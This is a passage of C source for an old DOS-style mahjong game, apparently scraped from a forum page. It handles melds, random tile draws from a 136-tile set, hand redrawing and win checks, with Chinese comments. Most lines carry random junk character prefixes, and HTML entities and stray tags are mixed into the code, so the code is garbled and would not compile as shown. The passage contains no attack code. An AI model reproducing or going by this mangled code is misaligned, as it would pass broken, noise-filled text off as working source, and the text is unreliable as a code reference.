. |* x  a2 t; P8 l& ^else
: d% R" q+ t4 \+ G4 J{
m[computer.pp[kkk].number].data1=1;
3 k7 J1 m! b" C# ]: ^& q4 ?dw[nn++]=computer.pp[kkk].number;
/ b2 Y  i- @( T( G" k5 Vcomputer.pp[kkk].c=0;
3 x+ K5 U" V' {4 o& M* I/ d% I}
- F# F: J2 C$ lkkk++;
* R, T' \/ Y! m$ J, ]}
" p; D. ]: w& X( C. L
6 x+ G6 E% O3 R( a: gif(me.pp[every].number&lt;dw[0])
{
) K: U, G" A+ ~; x- T9 N, Pdw[2]=dw[1];
: F% y# o  S6 m* pdw[1]=dw[0];
dw[0]=me.pp[every].number;
2 T) |: ]" W8 `/ c}
2 a; }) a( p( Q* s+ k- I4 z- jif(me.pp[every].number&gt;dw[1])
) h0 d! x: O; {( x, `{
( H0 y! U! q* C: l: a9 {dw[2]=me.pp[every].number;
}
6 z$ i) B0 A% Q$ N, n3 Zif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
6 ]9 x- o0 d$ j9 {! G3 G{
2 M+ }6 V, e0 Edw[2]=dw[1];
dw[1]=me.pp[every].number;
4 t- N( O' v% U4 x5 Y6 `# T- [# p0 j' O}
nn=0;
while(nn&lt;3)
{ zl=zl+20;
- P7 K; I: k7 h; l+ i* y4 cbmpp(dw[nn]); /*显示吃的牌*/
# g* z. S+ m+ qnn++;
}
' G! X. x, v5 J* t8 P- pzl=zl+9600-60;
kkk=0;
computer.m=computer.m-2;
1 p$ u. N& q7 H/ ?6 jwhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
) T8 g0 t2 Q# Mcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
4 k$ b/ L' F3 i2 m% @9 A}
ll=0;
temp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
zyy=zyy-9280;
8 D  R4 u8 \& }6 N, e' K/*****/
& `: ~( b. M/ W7 n( H" ?) wrgznme(temp);
; ~" }4 r% W9 D1 T% R- H' ~+ cpanduan();
if(me.m==0)
if(second==1 &amp;&amp; threes==0)
% O' N6 T( h9 J% H0 eprintf("you win!");
, W; t9 J( U3 ]; M1 ]/ c) xif(me.m==3)
% }9 C+ v9 j2 K' Nif(second==1 &amp;&amp; threes==1)
2 `' i* g2 e* j7 Wprintf("you win!");
if(me.m==6)
if(second==1 &amp;&amp; threes==2)
printf("you win!");
- o8 ~8 Y% i1 }' H% c/ wif(me.m==9)
if(second==1 &amp;&amp; threes==3)
printf("you win!");
+ g! q- v' X2 W( e) J6 ^if(me.m==12)
' D& `! c/ T* H& Q/ |% Nif(second==1 &amp;&amp; threes==4)
printf("you win!");
+ ^& }9 k1 j3 M: t& }+ y( r
8 K4 K# i! h' \+ G% |kkk=0;
kkkk=0;
& k, w: w* N) ~+ \- v! F. {8 @while(kkk&lt;=computer.m)
6 R( p( ]6 H; B6 g{
6 _! q; \( p, f$ hif(kkk!=temp)
{
comp.pp[kkkk].k=computer.pp[kkk].k;
0 \* _* }9 B- ecomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
. N5 ~9 r- P  {) ^, [& N}
else
' Y7 ~5 v4 L" `2 X+ O2 j2 b# t& D$ mm[computer.pp[kkk].number].data1=1;
kkk++;
}
kkk=0;
computer.m=computer.m-1;
' y+ b' j. B9 P0 Z! m, ^while(kkk&lt;=computer.m)
! l  X! Z8 H; h' n& k* `! N{
computer.pp[kkk].k=comp.pp[kkk].k;
4 {- w+ I1 Y, Y! wcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
* @3 V- [  Z( t- A3 M: Gcomputer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
}
fillRectangle(0,0,320,30,0);
5 y: i$ h7 s5 R9 k. _n=computer.m;
ll=0;
zy=0;
4 D  v4 i. |8 \& s! g, n& |$ w$ ewhile(ll&lt;=n)
) t/ j7 ^) j0 O6 F{
zy=zy+20;
showybmp(ll);
# l% A. _9 n2 |) c0 v$ c; s. Mll++;
" v! t, }  C6 M1 t( v: r}
) E1 t' `3 K( A
getch();
sing=0;
" G& n/ n' @) u$ L2 psing1=1;
& Y/ }* v; \! ~  w8 O8 K* q}
4 O* f& s5 \  B. `7 B8 n: rif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
% e" ^# |+ K/ C3 ]2 Q5 V4 X{
. t8 L2 n& i% g. l9 z+ wkk=0;
4 r+ v6 `; o, W1 `6 I) qh=me.pp[every].number;
+ h# ~  p5 b9 k* l% ]$ cm[h].data1=1; /*此牌已经无用*/
if(sing1!=1)
{
zyy=zyy+9280+20;
showbmpd(every);
' D- B9 A1 \' P+ M: vzyy=zyy-9280;
}
8 S, W! p! X: Y) k/ `while(kk!=1)
  @% W2 Q2 G8 g) d* b. Q{
temp=random(136);
5 `5 ?; H" M5 d: j: m2 h* U/ tif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
& _8 J9 f+ ~2 G/ I. nme.pp[every].number=temp; /*第几张，用来排序*/
% d" C3 G6 n: c: {. mm[temp].data2=1; /*判断牌是谁的*/
3 X5 n4 q3 V$ Y1 |+ s% C. h' Zkk=1;
) m8 E* V* i9 L9 q, ]; y5 J}
6 o. f0 }# g" d( X3 Q6 A# n! H/ I. ?if(kk==0) /*判断如果又选择了，就从新再选*/
kk=0;
}
4 b1 a* ~9 v. ]1 Q6 Y3 h- F}
. J1 ?% i( B. Z1 Z9 ~# O) L) _1 j/ ksing=0;
! B; U4 p" x2 S& A9 osing1=0;
melipai();
n=13;
z1=54400;
4 v* }) r4 y7 ql=0;
% X8 V" g2 w6 G+ u9 A5 [& Ng=z;
0 P! L5 `6 G% D$ f( c2 qwhile(l&lt;n)
% |; Y+ [9 h9 e' f6 l( m{ z=0;
z1=z1+20;
showbmp(l);
6 |5 a! x9 u( E% V9 nl++;
}
z1=0;
z=g;
, l5 q, b0 Q' c; S' q' |}
( `) P; r; U- V+ J) q. V( Hkeyy=0;
. n/ y# }, p, T5 I! |5 f8 [& P5 o}
. |6 g" g* k3 T! Y. m
; m# q" e$ U( _) ngetch();
OUTVGA;
}
</P></DIV>